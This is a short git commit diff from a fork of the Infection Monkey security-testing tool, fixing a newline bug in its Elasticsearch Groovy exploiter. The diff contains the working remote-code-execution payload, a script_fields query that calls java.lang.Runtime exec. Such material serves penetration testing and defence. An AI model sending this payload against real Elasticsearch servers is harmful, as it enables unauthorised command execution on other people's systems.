forked from p15670423/monkey
agent: Fix bug caused by unintentional newline in elastic exploiter
This commit is contained in:
parent
39843527ae
commit
b3c8ce28ed
|
@ -36,10 +36,9 @@ class ElasticGroovyExploiter(WebRCE):
|
||||||
GENERIC_QUERY = (
|
GENERIC_QUERY = (
|
||||||
"""{"size":1, "script_fields":{"%s": {"script": "%%s"}}}""" % MONKEY_RESULT_FIELD
|
"""{"size":1, "script_fields":{"%s": {"script": "%%s"}}}""" % MONKEY_RESULT_FIELD
|
||||||
)
|
)
|
||||||
JAVA_CMD = (
|
JAVA_CMD = GENERIC_QUERY % (
|
||||||
GENERIC_QUERY
|
"""java.lang.Math.class.forName(\\"java.lang.Runtime\\").getRuntime().exec("""
|
||||||
% """java.lang.Math.class.forName(\\"java.lang.Runtime\\").getRuntime().exec(
|
"""\\"%s\\").getText()"""
|
||||||
\\"%s\\").getText()"""
|
|
||||||
)
|
)
|
||||||
|
|
||||||
_TARGET_OS_TYPE = ["linux", "windows"]
|
_TARGET_OS_TYPE = ["linux", "windows"]
|
||||||
|
|
Loading…
Reference in New Issue